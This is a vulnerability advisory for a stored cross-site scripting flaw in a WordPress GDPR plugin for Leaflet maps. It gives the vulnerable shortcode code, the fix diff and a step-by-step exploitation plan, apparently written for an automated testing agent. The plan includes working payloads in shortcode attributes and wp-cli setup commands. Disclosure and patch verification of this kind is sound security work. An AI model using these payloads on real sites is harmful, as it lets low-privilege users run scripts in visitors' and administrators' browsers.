DSGVO snippet for Leaflet Map and its Extensions <= 3.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'unset' Attribute
Description
The DSGVO snippet for Leaflet Map and its Extensions plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `leafext-cookie-time` and `leafext-delete-cookie` shortcodes in all versions up to, and including, 3.1. This is due to insufficient input sanitization and output escaping on user supplied attributes (`unset`, `before`, `after`). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.1What Changed in the Fix
Changes introduced in v3.4
Source Code
WordPress.org SVNThis research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in the **DSGVO snippet for Leaflet Map and its Extensions** plugin (CVE-2026-4389). The vulnerability allows Contributor-level users to inject malicious scripts into pages via unescaped shortcode attributes. --- ### 1. Vu…
Show full research plan
This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in the DSGVO snippet for Leaflet Map and its Extensions plugin (CVE-2026-4389). The vulnerability allows Contributor-level users to inject malicious scripts into pages via unescaped shortcode attributes.
1. Vulnerability Summary
The plugin provides shortcodes to display cookie-related information or forms. In php/time-delete.php, the functions leafext_get_cookie_time and leafext_form_delete_cookie process attributes for the [leafext-cookie-time] and [leafext-delete-cookie] shortcodes. The attributes unset, before, and after are concatenated directly into the output $content without any sanitization (e.g., wp_kses) or output escaping (e.g., esc_html).
2. Attack Vector Analysis
- Shortcodes:
[leafext-cookie-time]and[leafext-delete-cookie] - Vulnerable Attributes:
unset,before,after - Authentication: Contributor or higher (anyone who can create/edit posts).
- Payload Mechanism: The payload is stored in the post content as a shortcode attribute. It executes in the browser of any user (including Administrators) viewing the page.
- Preconditions:
- To trigger the
unsetattribute, the visitor must not have theleafextcookie set. - To trigger the
beforeandafterattributes, the visitor must have theleafextcookie set.
- To trigger the
3. Code Flow
- Entry Point:
add_shortcoderegistersleafext-cookie-timeandleafext-delete-cookieinphp/time-delete.php. - Processing: When
do_shortcode()encounters these tags, it callsleafext_get_cookie_time($atts, $content)orleafext_form_delete_cookie($atts, $content). - Attribute Extraction: The functions check for the
unset,before, andafterkeys in the$attsarray. - Vulnerable Sink:
- In
leafext_get_cookie_time:$before = isset( $atts['before'] ) ? '<div class="cookietext">' . $atts['before'] : ''; // Sink 1 $after = isset( $atts['after'] ) ? $atts['after'] . '</div>' : ''; // Sink 2 // ... $content = $before . $content . $after; // ... or ... $content = isset( $atts['unset'] ) ? $atts['unset'] : ''; // Sink 3 return $content;
- In
- Execution: The returned unescaped string is rendered in the final HTML response.
4. Nonce Acquisition Strategy
No WordPress nonce is required to exploit the XSS rendering, as shortcode attributes are processed whenever a post is viewed. However, to test the before/after attribute path (which requires the leafext cookie), we may need to set the cookie.
Setting the leafext Cookie:
The plugin sets this cookie in leafext_setcookie (in php/leaflet-map.php) if a POST request is made with the leafext_button parameter and a valid nonce.
- Create a page with
[leaflet-map]. - The plugin's filter
leafext_query_cookiewill render a form containing a nonce field:wp_nonce_field( 'leafext_dsgvo', 'leafext_dsgvo_okay', true, false ). - Use
browser_navigateto view the page. - Use
browser_evalto extract the nonce:document.querySelector('input[name="leafext_dsgvo_okay"]').value. - Perform an
http_request(POST) to the same page withleafext_button=1&leafext_dsgvo_okay=[NONCE].
5. Exploitation Strategy
We will demonstrate the XSS via the unset attribute as it is the simplest vector.
Step 1: Contributor Login
Use the http_request tool to log in as a Contributor.
Step 2: Create Malicious Post
Create a post containing the payload.
- Action:
POST /wp-admin/post-new.phpor usewp-cli. - Payload:
[leafext-cookie-time unset='<script>alert("CVE-2026-4389-XSS")</script>']
Step 3: Trigger XSS
Navigate to the newly created post as an unauthenticated user (to ensure no cookie exists).
- Tool:
http_request(GET). - Verification: Check if the response body contains the raw
<script>tag.
6. Test Data Setup
- Contributor User:
wp user create contributor contributor@example.com --role=contributor --user_pass=password - Plugin Dependency: Ensure
leaflet-mapandextensions-leaflet-mapare active (required byleafext_plugin_activechecks). - Target Post:
wp post create --post_type=post --post_status=publish --post_author=[ID] --post_title="GDPR Test" --post_content='[leafext-cookie-time unset="<img src=x onerror=alert(document.domain)>"]'
7. Expected Results
- The
leafext_get_cookie_timefunction returns the value of theunsetattribute directly. - The HTML response will contain:
<img src=x onerror=alert(document.domain)>. - In a browser context, the JavaScript
alertwill trigger.
8. Verification Steps
- HTTP Response Check:
# Capture response curl -s http://localhost:8080/?p=[POST_ID] | grep "onerror=alert" - Browser Verification:
Usebrowser_navigateto the post URL and check for an alert dialog usingbrowser_eval.
9. Alternative Approaches
beforeattribute: If theunsetattribute is patched or fails, targetbeforeby setting the cookie first.- Payload:
[leafext-cookie-time before='<svg onload=alert(1)>']
- Payload:
leafext-delete-cookieshortcode:- Payload:
[leafext-delete-cookie unset='<script>alert("delete-cookie-xss")</script>'] - This function (in
php/time-delete.php) follows the exact same logic as the first shortcode.
- Payload:
Summary
The plugin is vulnerable to Stored Cross-Site Scripting via several shortcode attributes ('unset', 'before', 'after') used in the '[leafext-cookie-time]' and '[leafext-delete-cookie]' shortcodes. Authenticated attackers with contributor-level permissions can inject arbitrary JavaScript that executes in the browser of any user viewing the affected post or page.
Vulnerable Code
// php/time-delete.php // line 35 $before = isset( $atts['before'] ) ? '<div class="cookietext">' . $atts['before'] : ''; $after = isset( $atts['after'] ) ? $atts['after'] . '</div>' : ''; $content = $before . $content . $after; } else { $content = isset( $atts['unset'] ) ? $atts['unset'] : ''; } --- // php/time-delete.php // line 81 $before = isset( $atts['before'] ) ? '<div class="cookietext">' . $atts['before'] : ''; $after = isset( $atts['after'] ) ? $atts['after'] . '</div>' : ''; $content = $before . $content . $after; } else { $content = isset( $atts['unset'] ) ? $atts['unset'] : ''; }
Security Fix
@@ -24,7 +24,7 @@ add_action( 'admin_menu', 'leafext_dsgvo_add_page', 90 ); function leafext_dsgvo_init() { - add_settings_section( 'leafext_dsgvo', '', '', 'leafext_settings_dsgvo' ); + add_settings_section( 'leafext_dsgvo', '', '__return_empty_string', 'leafext_settings_dsgvo' ); $fields = leafext_dsgvo_params(); foreach ( $fields as $field ) { add_settings_field( @@ -36,12 +36,19 @@ $field['param'], ); } - // https://stackoverflow.com/a/77545721 $leafext_dsgvo = get_option( 'leafext_dsgvo' ); if ( $leafext_dsgvo === false ) { - add_option( 'leafext_dsgvo', '' ); + add_option( 'leafext_dsgvo', array() ); } - register_setting( 'leafext_settings_dsgvo', 'leafext_dsgvo', 'leafext_validate_dsgvo' ); + register_setting( + 'leafext_settings_dsgvo', + 'leafext_dsgvo', + array( + 'type' => 'array', + 'sanitize_callback' => 'leafext_validate_dsgvo', + 'default' => array(), + ) + ); } add_action( 'admin_init', 'leafext_dsgvo_init' ); @@ -229,11 +236,6 @@ foreach ( $tabs as $tab ) { echo '<a href="' . esc_url( '?page=' . LEAFEXT_DSGVO_PLUGIN_NAME . '&tab=' . $tab['tab'] ) . '" class="nav-tab'; $active = ( $active_tab === $tab['tab'] ) ? ' nav-tab-active' : ''; - if ( isset( $tab['strpos'] ) ) { - if ( strpos( $active_tab, $tab['strpos'] ) !== false ) { - $active = ' nav-tab-active'; - } - } echo esc_attr( $active ); echo '">' . esc_html( $tab['title'] ) . '</a>' . "\n"; } @@ -3,8 +3,8 @@ * Plugin Name: DSGVO snippet for Leaflet Map and its Extensions * Description: Respect the DSGVO / GDPR when you use Leaflet Map and Extensions for Leaflet Map. * Plugin URI: https://leafext.de/en/ - * Version: 3.3 - * Requires PHP: 8.1 + * Version: 3.4 + * Requires PHP: 8.2 * Requires Plugins: leaflet-map, extensions-leaflet-map * Author: hupe13 * Author URI: https://leafext.de/en/ @@ -27,13 +27,14 @@ // string $plugin_file, bool $markup = true, bool $translate = true $leafext_plugin_data = get_plugin_data( __FILE__, true, false ); define( 'LEAFEXT_DSGVO_PLUGIN_VERSION', $leafext_plugin_data['Version'] ); - if ( ! function_exists( 'leafext_plugin_active' ) ) { function leafext_plugin_active( $slug ) { - $plugins = get_option( 'active_plugins' ); - $is_active = preg_grep( '/^.*\/' . $slug . '\.php$/', $plugins ); - if ( count( $is_active ) === 1 ) { - return true; + $plugins = get_option( 'active_plugins' ); + if ( is_array( $plugins ) ) { + $is_active = preg_grep( '/^.*\/' . $slug . '\.php$/', $plugins ); + if ( count( $is_active ) === 1 ) { + return true; + } } $plugins = get_site_option( 'active_sitewide_plugins' ); if ( is_array( $plugins ) ) { @@ -86,7 +87,7 @@ ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- it is an WP Error - wp_die( $error, '', wp_kses_post( $error->get_error_data() ) ); + wp_die( $error, '', $error->get_error_data() ); } } register_activation_hook( __FILE__, 'leafext_extensions_require' ); @@ -103,4 +104,4 @@ return $actions; } } -add_filter( 'plugin_action_links', 'leafext_disable_dsgvo_activation', 10, 4 ); +add_filter( 'plugin_action_links', 'leafext_disable_dsgvo_activation', 10, 2 ); @@ -69,7 +69,7 @@ 'httponly' => true, 'samesite' => 'Strict', // None || Lax || Strict ); - setcookie( 'leafext', time(), $arr_cookie_options ); + setcookie( 'leafext', (string) time(), $arr_cookie_options ); $_COOKIE['leafext'] = time(); } } @@ -131,7 +131,7 @@ if ( ! isset( $leafext_okay ) ) { $leafext_okay = true; - $form = true; + $form = true; } else { $count = filter_var( $settings['count'], FILTER_VALIDATE_BOOLEAN ); if ( $count ) { @@ -131,7 +131,7 @@ @@ -21,18 +21,18 @@ $gmt = isset( $atts['gmt'] ) ? $atts['gmt'] : 0; if ( $gmt ) { - $content = gmdate( $format, $cookie_time ); + $content = gmdate( $format, (int) $cookie_time ); } else { - $content = wp_date( $format, $cookie_time ); + $content = wp_date( $format, (int) $cookie_time ); } - $before = isset( $atts['before'] ) ? '<div class="cookietext">' . $atts['before'] : ''; - $after = isset( $atts['after'] ) ? $atts['after'] . '</div>' : ''; + $before = isset( $atts['before'] ) ? '<div class="cookietext">' . wp_kses_post( $atts['before'] ) : ''; + $after = isset( $atts['after'] ) ? wp_kses_post( $atts['after'] ) . '</div>' : ''; $content = $before . $content . $after; } else { - $content = isset( $atts['unset'] ) ? $atts['unset'] : ''; + $content = isset( $atts['unset'] ) ? wp_kses_post( $atts['unset'] ) : ''; } } return $content; @@ -64,19 +64,19 @@ $content .= wp_nonce_field( 'leafext_dsgvo', 'leafext_dsgvo_cookie', true, false ); if ( isset( $atts['link'] ) ) { $content .= '<input type="hidden" value="' . esc_attr( $submit ) . '" name="leafext_cookie_button" />'; - $content .= ' <a href="javascript:;" onclick="parentNode.submit();">' . $submit . '</a> '; + $content .= ' <a href="javascript:;" onclick="parentNode.submit();">' . esc_html( $submit ) . '</a> '; } else { $content .= '<div class="submit leafext-dsgvo-submit leafext-dsgvo-delete-submit">'; $content .= '<input type="submit" aria-label="Submit ' . esc_attr( $submit ) . '" value="' . esc_attr( $submit ) . '" name="leafext_cookie_button" />'; $content .= '</div>'; } $content .= '</form>'; - $before = isset( $atts['before'] ) ? '<div class="cookietext">' . $atts['before'] : ''; - $after = isset( $atts['after'] ) ? $atts['after'] . '</div>' : ''; + $before = isset( $atts['before'] ) ? '<div class="cookietext">' . wp_kses_post( $atts['before'] ) : ''; + $after = isset( $atts['after'] ) ? wp_kses_post( $atts['after'] ) . '</div>' : ''; $content = $before . $content . $after; } else { - $content = isset( $atts['unset'] ) ? $atts['unset'] : ''; + $content = isset( $atts['unset'] ) ? wp_kses_post( $atts['unset'] ) : ''; } } return $content; @@ -100,7 +100,7 @@ 'httponly' => true, 'samesite' => 'Strict', // None || Lax || Strict ); - setcookie( 'leafext', time(), $arr_cookie_options ); + setcookie( 'leafext', (string) time(), $arr_cookie_options ); if ( isset( $_POST['origin'] ) ) { header( 'Location: ' . esc_url_raw( wp_unslash( $_POST['origin'] ) ) ); exit;
Exploit Outline
1. Login as an authenticated user with Contributor-level access or higher. 2. Create or edit a post and insert a shortcode using a malicious payload in the 'unset', 'before', or 'after' attributes. For example: `[leafext-cookie-time unset="<script>alert('XSS')</script>"]`. 3. Publish or update the post. 4. Access the post as a visitor. - To trigger the 'unset' attribute payload, the visitor must not have the 'leafext' cookie set. - To trigger the 'before' or 'after' attributes, the visitor must have previously accepted the GDPR notice to set the 'leafext' cookie. 5. The payload will execute in the user's browser as the attribute value is rendered directly into the page content without escaping.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.